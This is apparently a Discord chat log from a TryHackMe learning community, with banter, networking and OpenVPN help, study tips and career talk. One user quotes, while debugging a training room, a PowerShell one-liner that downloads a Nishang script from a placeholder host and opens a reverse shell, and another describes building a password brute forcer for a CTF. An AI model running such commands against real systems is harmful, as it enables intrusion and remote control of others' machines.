[boreal scarab]

Americaland?

@gray sonnet @sturdy pike

[gray sonnet]

Ye

[boreal scarab]

This one

[rapid merlin]

Hi..

[boreal scarab]

Yo

[rapid merlin]

Exiftool on Linux is not precise. I try cat it's more advanced

[sick lance]

...Two different tools?

[rapid merlin]

ad enumeration romm in thm , openvpn file is tweaking rn

not able to connect

[sturdy pike]

The quick brown fox jumps over the lazy dog

[rapid merlin]

openvpn redad.ovpn
2025-03-09 19:11:42 Note: --cipher is not set. OpenVPN versions before 2.5 defaulted to BF-CBC as fallback when cipher negotiation failed in this case. If you need this fallback please add '--data-ciphers-fallback BF-CBC' to your configuration and/or add BF-CBC to --data-ciphers.
2025-03-09 19:11:42 Note: cipher 'AES-256-CBC' in --data-ciphers is not supported by ovpn-dco, disabling data channel offload.
2025-03-09 19:11:42 OpenVPN 2.6.13 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [PKCS11] [MH/PKTINFO] [AEAD] [DCO]
2025-03-09 19:11:42 library versions: OpenSSL 3.4.1 11 Feb 2025, LZO 2.10
2025-03-09 19:11:42 DCO version: N/A
2025-03-09 19:11:42 OpenSSL: error:0480006C:PEM routines::no start line:Expecting: CERTIFICATE
2025-03-09 19:11:42 OpenSSL: error:0A080009:SSL routines::PEM lib:
2025-03-09 19:11:42 Cannot load inline certificate file
2025-03-09 19:11:42 Exiting due to fatal error

[sturdy pike]

use sudo

[sick lance]

#site-support

[sturdy pike]

root privileges

[rapid merlin]

Yes

[rapid merlin]

same issue even so

I just start hacking I think 1 month ago

[sick lance]

I'd appreciate it if you moved this to #site-support

[rapid merlin]

moved it man

[pine stratus]

hi , i have a question , the data moves from layer 7 to 1 after before transmission via L1 . how the three way handshake occurs jn transmission layer , before Network layer where you should know the ip adress of the remote host?

are layers work together or work in order ;( im struggling in understanding :D

or im wrong in all what i said 😂

[naive violet]

They work together

For a website, for example, you know the URL
The URL is broken down into a hostname
The hostname is resolved with DNS into an IP
HTTP request is sent to the IP+port

[alpine aurora]

red whit and blue land lol

[crystal wyvern]

hey, does anyone have suggestion for challenges to complete after finishing the cybersecurity 101 path?

[void thunder]

Transmission begins at Layer 7 (Application) and moves down through each layer to Layer 1 (Physical). When using TCP, the three-way handshake occurs at Layer 4 (Transport); here, the client sends a SYN packet to the server, the server replies with a SYN-ACK packet, and the client responds with an ACK packet to establish the connection. While the process "moves down through each layer" it's more accurate to say that the layers work together rather than in a strict order to transmit data

[cloud quiver]

This one 🙂
https://tryhackme.com/room/basicpentestingjt

[crystal wyvern]

thanks :)

[boreal scarab]

https://tenor.com/view/murica-gif-11967745087810666193

[alpine aurora]

lol

[boreal scarab]

https://tenor.com/view/merica-bald-eagle-eagle-america-american-gif-2277187416326490184

[loud marlin]

murica ppl

[pine stratus]

understood thank you

[twin ridge]

Gave +1 Rep to @naive violet (current: #3 - 2266)

[pine stratus]

all clear , thank you 🤠

[dawn grove]

I have a question, would you suggest moving onto the OpenVPN setup instead of Attack Boxes from the beginning or am i gonna incounter configuration issues on my kali? I mean, are there going to be lots of problems or is already set up for these kind of things??

I know i got the tools but maybe they got to be configured

[cloud quiver]

I would definitely recommend you to use your own Kali vm . It has more tools pre-installed than AB . VPN setup is a relatively simple process. You can learn how to do it on the link below 🙂 .
https://tryhackme.com/room/openvpn

[dawn grove]

Alright, i've just done the metasploit introduction room on my own kali since it needs just some simple research for the tasks and it's a whole different story since metasploit loaded in less than 5 minutes

[open wharf]

hello

[dawn grove]

Hi man

[whole gazelle]

hi hello hello

it's me

[dawn grove]

Btw i have another thing, it's not THM related but on kali linux when i'm in discord and streaming my screen the audio gets all stuttering to the point where i cant hear nothing, has anyone had this problem before? On windows i havent got such problem and i dont know what could be causing it..

[whole gazelle]

purple guy from the bite of '87

[wind berry]

anyone knows about sha1 hash collision words

[dark mason]

can't wait for the CTF to start\

[void thunder]

Linux's version of Discord is still lacking, some fixes off the top of my head could be turning off hardware acceleration or adjusting your audio sample rate but there are a few possible causes for the issue, so it may require some trial and error to find the right fix

[inner bloom]

which CTF

[dawn grove]

Where do i turn off hardware acceleration?

[cloud quiver]

#1347217239492919346 🙂

[void thunder]

Discord Settings > Voice & Video > Hardware Acceleration

[hollow nebula]

hey anyone know what vocabulary i should be using to to think of a list of common applications and services found during penetsts? things like jenkins, drupal, tomcat, etc?

[silver niche]

do you recommend me that i install gawk?

[mossy river]

CMS?

[dark mason]

the THM one

in about a week

[void thunder]

Depends if you need it or not, it's your software 😁

[hollow nebula]

computer media services?

[mossy river]

content management system

[hollow nebula]

ahhhh

i've been trying to take pretty good notes for all these boxes and such i've been doing - it's good , in my opinion, to have some of these baddies ready to go

[snow igloo]

I love Tryhackme Thank you so much for giving as this great gift of accessible knowledge well created.

[hollow nebula]

thank you badbunny for your musical contribution

and a que lo que to you good sir

[proven quartz]

[blazing granite]

I worked as customer service and tech support, don't call people idiot, because you can't explain yourself 😂

[proven quartz]

This is likely someone trying to help someone they know, and the person they're helping is likely just teasing them. This has been a common thread in Windows support for 30 years

[blazing granite]

When I read the first sentence I thought this conversation is doom 😂

[sand trench]

t minus 200 days

[leaden marsh]

Greaaat

Wow Nicccee

[blazing granite]

I used to do tech support for a lot of old people, and then when I finished work, my mum used to call me with tech issues 😛 Actually is not that hard if you know how to guide them, ironically I had more success with old people than with young people. Young ones think they know everything and don't follow your instructions, if you know so much what the f you contact us 😂

[grizzled wing]

i got 0xE yesterday 🎉

[leaden marsh]

0XE
Expert right?

[grizzled wing]

Guardian

[blazing granite]

🥦

[grizzled wing]

🦖

[loud marlin]

smh smh...

[leaden marsh]

I want to be like this

[whole gazelle]

😭

[leaden marsh]

I just end 49 rooms

[cloud quiver]

Congrats , great job 🚀

[grizzled wing]

SCaLE talk, misinformed

[cloud quiver]

Your streak overflowed 🤣

[whole gazelle]

LMAOO HAHAHAHA

[sand trench]

just times 66 days more to have a nice streak

[sick lance]

What's wrong with (Tr33r0otS!!) as a password?

[grizzled wing]

haha streak -3

[whole gazelle]

adding them to SecLists

[leaden marsh]

From were u foumd it

[grizzled wing]

this leetspeak is already in John rules configuration file

[grizzled wing]

watching the video

[rapid merlin]

Yo wahhht

[sick lance]

"7r33r0075!!" would be a more accurate leetspeak variation of treeroots

[frosty thunder]

is hackfinity starting on the 17th?

[sick lance]

If that's what the event says.

[whole gazelle]

something went so wrong

lmao

[grizzled wing]

the kid giving the talk is arguing for pass phrases

[blazing granite]

Maybe something related with planning 😉 😛

[grizzled wing]

they succeeded in planning

[alpine aurora]

what do you think of shellgpt

[grizzled wing]

no thoughts

[sand trench]

anyone know where shadow can source some indium

wanna try chewing it

[upper badge]

Hey everyone!

[leaden marsh]

I can tell u something everyone

I lvu💕 u are beautiful u Are smart u are greatest

U are THE BESST ONE

[topaz topaz]

YEEEA that's what im talking about

[sturdy pike]

🥦

[leaden marsh]

This for u everyone

[blazing granite]

anything with gpt on it, is a brain rot disease 😂

[alpine aurora]

hmm oki 😄

[sturdy pike]

Kinda needed it, thanks!
Have a cookie box 🍪 🥡

[twin ridge]

Gave +1 Rep to @leaden marsh (current: #2729 - 1)

[topaz topaz]

Truth, I refuse to use all that crap

[chilly veldt]

Totally forgot that this trip is on company card, plane wifi!!!

[grizzled wing]

wifi )))

🛜

[sturdy pike]

🥦

[grizzled wing]

🍪

[sturdy pike]

how are you doing sudo?

[chilly veldt]

First time flying Qatar airways, I like it

[blazing granite]

🍪

[rapid merlin]

i am true sudo

[grizzled wing]

staying warm like these mice

mammoth genes

[sturdy pike]

🦖

[leaden marsh]

💕😁

[sturdy pike]

they look warm, who's the other one?

[rapid merlin]

i am sudo hex

[leaden marsh]

I will sleep with them

I will put my head on them

[grizzled wing]

you are so original

[mossy river]

Hello sudo hex 👋

[grizzled wing]

no idea, this image is from 404 media story

[rapid merlin]

😄

[leaden marsh]

And then feel warm to my head

😁💕

[mossy river]

What brings you to the TryHackMe community? 😁

[leaden marsh]

I will put them in my blancket

[sturdy pike]

lmao, that's warm

[leaden marsh]

And then sleep

💕😁 .

[grizzled wing]

been the blue team SOC level rooms

[placid idol]

It's always hectic, studying and stuff

[rapid merlin]

i found this discord server on the discovery page and i use tryhackme to help me learn cyber sec

[placid idol]

🥱 I'm sleepy

[leaden marsh]

Go sleep

[placid idol]

Later everyone, wanted to talk but can't today

[mossy river]

Awesome sauce 😎 Well I'm glad to have you here

[chilly veldt]

Jabba

[grizzled wing]

like a Flock of Seagulls ?

[chilly veldt]

I am bored

[rapid merlin]

thx :3 btw what skills would you think i need to complete the mr robot room?

[twin ridge]

Gave +1 Rep to @mossy river (current: #6 - 1520)

[grizzled wing]

🏓

[mossy river]

Not sure what to suggest

[sturdy pike]

That's nice

[grizzled wing]

its very bluey

[chilly veldt]

At least I can scroll LinkedIn

[sturdy pike]

https://tenor.com/view/waves-awesome-splash-ocean-gif-11243520

[grizzled wing]

ocean socks

[sturdy pike]

Jabba I'm stressed

about jobs

[sturdy pike]

lmfao

[mossy river]

Hmm, you would need knowledge of CMS' using wordlists, I don't remember the room completely though 😓

Just your general web skills will do!

[grizzled wing]

Jabba != Jobba

[sturdy pike]

Jobba I'm stressed

[rapid merlin]

oh wordlists ez

[main tiger]

I was speaking to a friend of mine who was applying for a tier 1 SOC analyst role and they had people with 5 years of exp applying

[grizzled wing]

haha

[sturdy pike]

You're making me depressed

[sick lance]

What's not for you, won't go past you.

[main tiger]

well it depends where u live. I was talking about the UK

I am unaware how it is in other countries

[sturdy pike]

Agree

[sturdy pike]

I don't live in the UK and not comfortable enough to share

[grizzled wing]

🌏 <--- you live here

[sturdy pike]

Who knows, it might be the cookie land too

[grizzled wing]

be the tough cookie we all hear about

[blazing granite]

sometime I feel I live in 🌑 😂

[sturdy pike]

And share where I live? Or stop stressing out?

[grizzled wing]

dark side of the moon

[blazing granite]

of course you don't otherwise you would be a biscuit 😉 😂

[blazing granite]

always dark as my soul 😛

[sturdy pike]

Aye no, don't 😂

[grizzled wing]

https://tenor.com/view/pink-floyd-album-cover-livejacketflix-dark-side-of-the-moon-1973-gif-1886555155136760969

listening to Flock of Seagulls - I Ran since the Flocker user was in chat

think my comment went over their head

[loud marlin]

ill never forgive my self not going on pink floyd concert 😦

OWASP juice shot does not exits as VM alone ?

[grizzled wing]

👻 is typing

[plush forge]

I would like a tool for turning an http request into something I can use with JavaScript's fetch . Like, take a request From the browser, and make The request object you need to give fetch

[cloud quiver]

Burp ?

[grizzled wing]

npm has such tools, think one is cereal ?

[polar anchor]

How long do you think it would take to learn and understand most of coding?

[plush forge]

Which module? I'm trying to avoid intruder

[grizzled wing]

depends

[cloud quiver]

basics

[plush forge]

I want something to pull into My own code

[grizzled wing]

extensions

burp extensions have js

[plush forge]

Any in particular?

[plush forge]

I'm sorry, but I'm not seeing it?

[grizzled wing]

you can search the ones you are wanting

[cloud quiver]

https://tryhackme.com/room/burpsuitebasics

[grizzled wing]

https://portswigger.net/burp/documentation/desktop/extensions

link to creating your own extensions

[plush forge]

Huh, I'd really guessed there's be any tools at all for what I need

[grizzled wing]

there likely is, but you said you wanted to code your own or use your code

[plush forge]

No

I mean that, for My own code, I need a request in a specific format

I need a tool to turn a request into that format

[topaz topaz]

I look at some really easy CTFs that require even the slightest amounts of javascript and legit feel so overwhelmed as I have no idea about that programming language, makes me understand how far I still have to reach.. How do you guys deal with this overwhelming feeling? I'm sure no matter how far this trip goes it still feels the same

[plush forge]

I'd advice you learn JavaScript First, focussing on it as it's own goal, because it's a whole different ball game

[topaz topaz]

Would you vouch for any sources out there?

[plush forge]

Json, I think? Probably. I just need a request as json

[plush forge]

Sure would! JavaScript.info Is amaxing. And if you have questions, I'm happy to assist you

[topaz topaz]

Hah, that's actually real nice. Thanks pal!

[twin ridge]

Gave +1 Rep to @plush forge (current: #2729 - 1)

[plush forge]

No problem, Happy to help more people get into code

[hollow nebula]

"powershell iex (New-Object Net.WebClient).DownloadString('http://your-ip:your-port/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress your-ip -Port your-port " obviously i have the doodads filled in but i'm getting the response that 'INvoke-PowerShellTcp is not an internal or external cmdlet ?

[dark mason]

I hate geometry so much

[dark mason]

what are u trying to do?

[hollow nebula]

get a nishang script onto jenkins, then have jenkins invoke it

got the script on there via a http.server

[dark mason]

THM team has big plans

[hollow nebula]

even other walk throughs i've seen all have the same command..tried Invoke-Item , etc other cmdlets..nothing working. gonna take a break and try again from the beginning later

dude i didn't +x the script

[sick lance]

What are you doing?

[hollow nebula]

re-doing the jenkins room after several months away from the keyboard

been working on this exploit for like an hour - and realized i didn't chmod +x the script

[sick lance]

Ah, #room-help if you need help.

[hollow nebula]

totes ma gotes forgot i can use the search too to find specifics

[boreal scarab]

Random Chinese dude sends me a text, no idea what it said, or who it's from.. guy asks:

"Are you free to go eat Korean food with me tomorrow at noon?"

[sick lance]

Well, don't be rude, are you?

[loud marlin]

will be rude from you if not

[boreal scarab]

I remember a random text, something along the lines of

Rando: "Hi I'm X, how are you?"
Me: "Fine"
Rando: "You're very kind, how old are you?"
Me: "Classified"
Rando: "Whats your name?"
Me: "Do you like feet?"
Rando:
Me: "Well do you?"

[blazing granite]

do you like korean food? a free meal is a free meal 😉 😛

[sick lance]

@uneven hedge please don't post e-mails in this server, if you think it's spam, just ignore it.

[frail locust]

I am interested in Security Analyst Level 1 (SLA1) I saw that you can take exame for free if you have Security+ and Cysa+ is that true?

[uneven hedge]

Bruh moment

[sick lance]

BTL1 and/or CySa+.

[boreal scarab]

Got the interaction wrong, got the texts though

It was very... religious type shit

[frail locust]

In that case, I must be reading it wrong. Where do I find that information on the website? I can't seem to find it. I think I'm having a tunnel vision

[sick lance]

#announcements message

[plush forge]

Argggg. Script- either do as I demand, give me a proper error, or perish

[whole creek]

sup

[plush forge]

My code isn't working :(

[sick lance]

Which code?

[sturdy pike]

Hermione if it was cybersec instead of wizardry

[plush forge]

Please never compare me to a Harry Potter character ever again

[plush forge]

Trying to make a JavaScript brute forcer. Because This site has some quirks that make conventional tools useless, and I'm not running four thousand passwords through burp suite community edition

[sick lance]

Probably be faster with python.

[sturdy pike]

Okay, Chris Hemsworth from Whitehat

[plush forge]

faster? with python?

how

[sick lance]

You'd probably be finished by now, since you can't get js to work. 😄

[naive violet]

Also... JS? Why tho?

Unless you're running it in the page in which case, also why?

[plush forge]

Because fetch

[plush forge]

You're assuming that I'd get python working

[naive violet]

Burp has "copy as python requests" as an extension, makes it uber easy

[timber nova]

ffuf is good at multithreading

[sick lance]

I'd rather use ZAP than FFuF for passwords though.

[timber nova]

why?

[plush forge]

ooh

[plush forge]

i might need to install zap- can either look at the response and use taht as the determinating factor for succes or failure?

[sturdy pike]

@sick lance Are there any online degrees on cybersec?

[whole yew]

this kind of thing is how a lot of pig butchering scams start.

[sick lance]

I have no idea about your area, so you'd probably be better off Googling

[plush forge]

oh good, now my target webiste is refusing to load. (not in a bugged way just in a slow way)

[sick lance]

I see the cult grows grows for a member who isn't even here.

[sturdy pike]

Oh no, not my area, a general catalogue if you know of some, that'd be really helpful

[sturdy pike]

I've met her on another server

[sick lance]

lol.

Fluff is very much a he.

[sturdy pike]

Well, who am I to judge

[plush forge]

on the one hand, this challenge is making me very annoyed. on the other, taht sjsut makes me want to solve it more

as soon as my vm stops being slow

[sick lance]

I'm assuming you based that on their pfp?

[blazing granite]

@boreal scarab would say not a cult 😛

[sick lance]

He's allowed an opinion, doesn't mean it's correct. 😄

[sturdy pike]

Can you tell me about the online degrees/courses if there are any?

[sick lance]

I only know of OpenUniversity, which may be UK only, I don't know.

[blazing granite]

I think is international, we have open university in Israel too 🙂

[plush forge]

hmf. i think i should put this ctf aside for noew

[sturdy pike]

Yeah

Do you wanna join aswell?

Scrubz | Fluff Clan

[sick lance]

No thank you. 😄

[whole gazelle]

who is fluff?

[sick lance]

FluffMe is an old Community member, mentor and moderator.

[quick blaze]

@sturdy pike whats fluff clan? 🤔

[boreal scarab]

CLAN!

[frail locust]

Thank you. I definitely had tunnel vision. Never thought it would be in other channel

[twin ridge]

Gave +1 Rep to @sick lance (current: #2 - 3494)

[leaden marsh]

I will study tryhackme after the crouse

[boreal scarab]

Pig butchering scam
Never heard that before

[leaden marsh]

I take crouse which is called offensive securitu

Secueity

[sick lance]

No worries, sometimes even I have to search to stuff, it can be overwhelming for members to find their way around.

[whole yew]

it's a cult dedicated to a former THM community moderator

🤷‍♂️

[quick blaze]

interesting

[whole yew]

Not...really?

[quick blaze]

[sick lance]

I finally have security onion doing what I want it to do.

[whole yew]

fluff's a cool dude but I don't get the idolization

[sick lance]

That was an annoying week.

[quick blaze]

so..why do people idolize him then?

[whole yew]

unknown to me

it's not a thing i try to understand

[quick blaze]

https://tenor.com/view/doritos-glitch-bocchi-the-rock-dorito-glitch-infinite-glitch-respawn-gif-1525519049010070487

[grizzled wing]

join the veggiebox club

[sick lance]

Can you remove the image?

[quick blaze]

what do i get if i join? 🤔

[sturdy pike]

If you give me nitro, I will

[grizzled wing]

pass

[sturdy pike]

Sudo

[grizzled wing]

Sue

[sturdy pike]

You got the answer i guess lol

[sturdy pike]

Ls

[grizzled wing]

ls -d */

[eternal timber]

I’ll give you a cookie exchange for nitro

[sick lance]

#feedback-and-ideas please.

[sturdy pike]

https://tenor.com/view/cat-wtf-oh-hell-nah-gif-4183712492046775434

[sturdy pike]

You're giving me, who's a cookie, a cookie?

For me to give you nitro?

https://tenor.com/view/cat-fight-serious-right-meow-gif-27237017

[sick lance]

There is a link. 😄

[frail locust]

Aye. I'm jungling between a couple of learning sources TryHackMe and KC7 both seems to benefits for SOC

[fervent cove]

AV Evasion: Shellcode room decided to remind me of the pain

[rapid merlin]

A cult 💀 what in gods name

[fervent cove]

The quadfather

[devout condor]

Thanks for that recommendation, just finished, had a lot of fun and learned a lot

[twin ridge]

Gave +1 Rep to @half girder (current: #136 - 59)

[rapid merlin]

https://tenor.com/view/asbestos-arknights-lantern-cross-sunday-gif-13257883375233024092

[eternal timber]

Yes, family member for nitro

[echo mulch]

hello

I'm new here

and I want to start learning

what first?

[exotic geode]

hi, in my kali vm i cant ping the servers i started on thm

any tips?